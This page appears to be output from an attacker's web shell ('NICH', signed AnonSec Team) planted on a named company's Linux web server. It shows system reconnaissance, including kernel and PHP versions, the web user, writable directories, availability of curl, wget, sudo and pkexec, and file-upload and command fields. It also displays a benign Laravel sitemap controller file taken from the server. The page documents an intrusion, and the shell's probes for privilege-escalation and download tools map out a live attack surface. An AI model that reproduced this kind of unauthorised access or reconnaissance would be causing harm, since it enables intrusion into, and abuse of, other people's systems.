NICH
Server IP : 127.0.1.1  /  Your IP : 216.73.216.152
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux bahcrestlinepropertiesllc 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/bahcrestline/core/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/bahcrestline/core/app/Http/Controllers//SiteMapController.php
<?php

namespace App\Http\Controllers;

use App\Section;
use App\Topic;
use App\WebmasterSection;
use Helper;


class SiteMapController extends Controller
{
    /**
     * Show the form for editing the specified resource.
     *
     * @param  string $lang
     * @return \Illuminate\Http\Response
     */
    public function siteMap($lang = "")
    {
        if ($lang == "") {
            $lang = trans('backLang.boxCode');
        }
        if ($lang != "ar" && $lang != "en") {
            $lang = env('DEFAULT_LANGUAGE', 'en');
        }
        \Session::put('locale', $lang);

        $SiteMapDetails = "";
        $slug_var = "seo_url_slug_" . $lang;

        // HOME
        $url_link = url("");
        $SiteMapDetails .= "
<url>
    <loc>$url_link</loc>
    <changefreq>daily</changefreq>
    <priority>0.9</priority>
</url>
            ";

        // Main Site Sections
        $WebmasterSections = WebmasterSection::where("status", 1)->orderby('row_no', 'asc')->get();
        foreach ($WebmasterSections as $WebmasterSection) {

            if ($WebmasterSection->$slug_var != "" && Helper::GeneralWebmasterSettings("links_status")) {
                if ($lang != env('DEFAULT_LANGUAGE')) {
                    $url_link = url("$lang/" . $WebmasterSection->$slug_var);
                } else {
                    $url_link = url($WebmasterSection->$slug_var);
                }
            } else {
                if ($lang != env('DEFAULT_LANGUAGE')) {
                    $url_link = url("$lang/" . $WebmasterSection->name);
                } else {
                    $url_link = url($WebmasterSection->name);
                }
            }
            $url_time = date("c", strtotime($WebmasterSection->updated_at));

            $SiteMapDetails .= "
<url>
    <loc>$url_link</loc>
    <lastmod>$url_time</lastmod>
    <changefreq>monthly</changefreq>
    <priority>0.8</priority>
</url>
            ";
        }


        // Categories
        $Sections = Section::where("status", 1)->orderby('row_no', 'asc')->get();
        foreach ($Sections as $Section) {
            if ($Section->$slug_var != "" && Helper::GeneralWebmasterSettings("links_status")) {
                if ($lang != env('DEFAULT_LANGUAGE')) {
                    $url_link = url("$lang/" . $Section->$slug_var);
                } else {
                    $url_link = url($Section->$slug_var);
                }
            } else {
                if ($lang != env('DEFAULT_LANGUAGE')) {
                    $url_link = route('FrontendTopicsByCatWithLang', ["lang" => $lang, "section" => $Section->webmasterSection->name, "cat" => $Section->id]);
                } else {
                    $url_link = route('FrontendTopicsByCat', ["section" => $Section->webmasterSection->name, "cat" => $Section->id]);
                }
            }

            $url_time = date("c", strtotime($Section->updated_at));

            $SiteMapDetails .= "
<url>
    <loc>$url_link</loc>
    <lastmod>$url_time</lastmod>
    <changefreq>weekly</changefreq>
    <priority>0.8</priority>
</url>
            ";
        }

        // Topics

        // about
        if ($lang != env('DEFAULT_LANGUAGE')) {
            $url_link = url("$lang/" . "about");
        } else {
            $url_link = url("about");
        }
        $SiteMapDetails .= "
<url>
    <loc>$url_link</loc>
    <changefreq>daily</changefreq>
    <priority>0.9</priority>
</url>
            ";
        // contact
        if ($lang != env('DEFAULT_LANGUAGE')) {
            $url_link = url("$lang/" . "contact");
        } else {
            $url_link = url("contact");
        }
        $SiteMapDetails .= "
<url>
    <loc>$url_link</loc>
    <changefreq>daily</changefreq>
    <priority>0.9</priority>
</url>
            ";
        // privacy
        if ($lang != env('DEFAULT_LANGUAGE')) {
            $url_link = url("$lang/" . "privacy");
        } else {
            $url_link = url("privacy");
        }
        $SiteMapDetails .= "
<url>
    <loc>$url_link</loc>
    <changefreq>daily</changefreq>
    <priority>0.9</priority>
</url>
            ";
        // terms
        if ($lang != env('DEFAULT_LANGUAGE')) {
            $url_link = url("$lang/" . "terms");
        } else {
            $url_link = url("terms");
        }
        $SiteMapDetails .= "
<url>
    <loc>$url_link</loc>
    <changefreq>daily</changefreq>
    <priority>0.9</priority>
</url>
            ";

        // All Other Topics

        $Topics = Topic::where([['status', 1], ['expire_date', '>=', date("Y-m-d")], ['expire_date', '<>', null]])->orwhere([['status', 1], ['expire_date', null]])->orderby('row_no', 'asc')->get();
        foreach ($Topics as $Topic) {
            if ($Topic->$slug_var != "" && Helper::GeneralWebmasterSettings("links_status")) {
                if ($lang != env('DEFAULT_LANGUAGE')) {
                    $url_link = url("$lang/" . $Topic->$slug_var);
                } else {
                    $url_link = url($Topic->$slug_var);
                }
            } else {
                if ($lang != env('DEFAULT_LANGUAGE')) {
                    $url_link = route('FrontendTopicByLang', ["lang" => $lang, "section" => $Topic->webmasterSection->name, "id" => $Topic->id]);
                } else {
                    $url_link = route('FrontendTopic', ["section" => $Topic->webmasterSection->name, "id" => $Topic->id]);
                }
            }

            $url_time = date("c", strtotime($Topic->updated_at));

            $SiteMapDetails .= "
<url>
    <loc>$url_link</loc>
    <lastmod>$url_time</lastmod>
    <changefreq>daily</changefreq>
    <priority>0.8</priority>
</url>
            ";
        }


        return response()->view("frontEnd.sitemap", compact("SiteMapDetails"))->header('Content-Type', 'text/xml');
    }
}

Anon7 - 2022
AnonSec Team